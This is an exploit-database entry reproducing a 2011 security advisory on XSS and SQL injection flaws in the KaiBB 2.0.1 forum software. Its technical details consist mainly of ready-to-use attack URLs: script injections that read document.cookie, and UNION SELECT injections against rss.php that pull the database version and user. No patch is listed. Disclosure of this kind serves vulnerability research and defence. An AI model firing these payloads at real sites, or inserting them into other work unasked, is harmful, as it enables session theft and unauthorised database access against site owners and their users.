KaiBB 2.0.1 SQL Injection vulnerability

2011-10-09T00:00:00
ID 1337DAY-ID-16987
Type zdt
Reporter Stefan Schurtz
Modified 2011-10-09T00:00:00

Description

Exploit for php platform in category web applications

                                        
                                            Author:                     Stefan Schurtz
Affected Software:      Successfully tested on KaiBB 2.0.1
Vendor URL:             http://code.google.com/p/kaibb/
Vendor Status:          informed
CVE-ID:                     -
 
==========================
Vulnerability Description:
==========================
 
KaiBB 2.0.1 is prone to XSS and SQL Injection vulnerabilities
 
==================
Technical Details:
==================
 
Cross-site Scripting
 
http://<target>/kaibb/?'</script><script>alert(document.cookie)</script>
http://<target>/kaibb/index.php?'</script><script>alert(document.cookie)</script>
 
SQL Injection
 
http://<target>/kaibb/rss.php?forum=' UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, NULL, NULL AND 'a'='a
http://<target>/kaibb/rss.php?forum=' UNION ALL SELECT NULL, version(), NULL, NULL, NULL, NULL, NULL AND 'a'='a
http://<target>/kaibb/rss.php?forum=' UNION ALL SELECT NULL, user(), NULL, NULL, NULL, NULL, NULL AND 'a'='a
 
=========
Solution:
=========
 
-
 
====================
Disclosure Timeline:
====================
 
08-Oct-2011 - informed developers
08-Oct-2011 - release date of this security advisory
 
========
Credits:
========
 
Vulnerability found and advisory written by Stefan Schurtz.



#  0day.today [2018-02-17]  #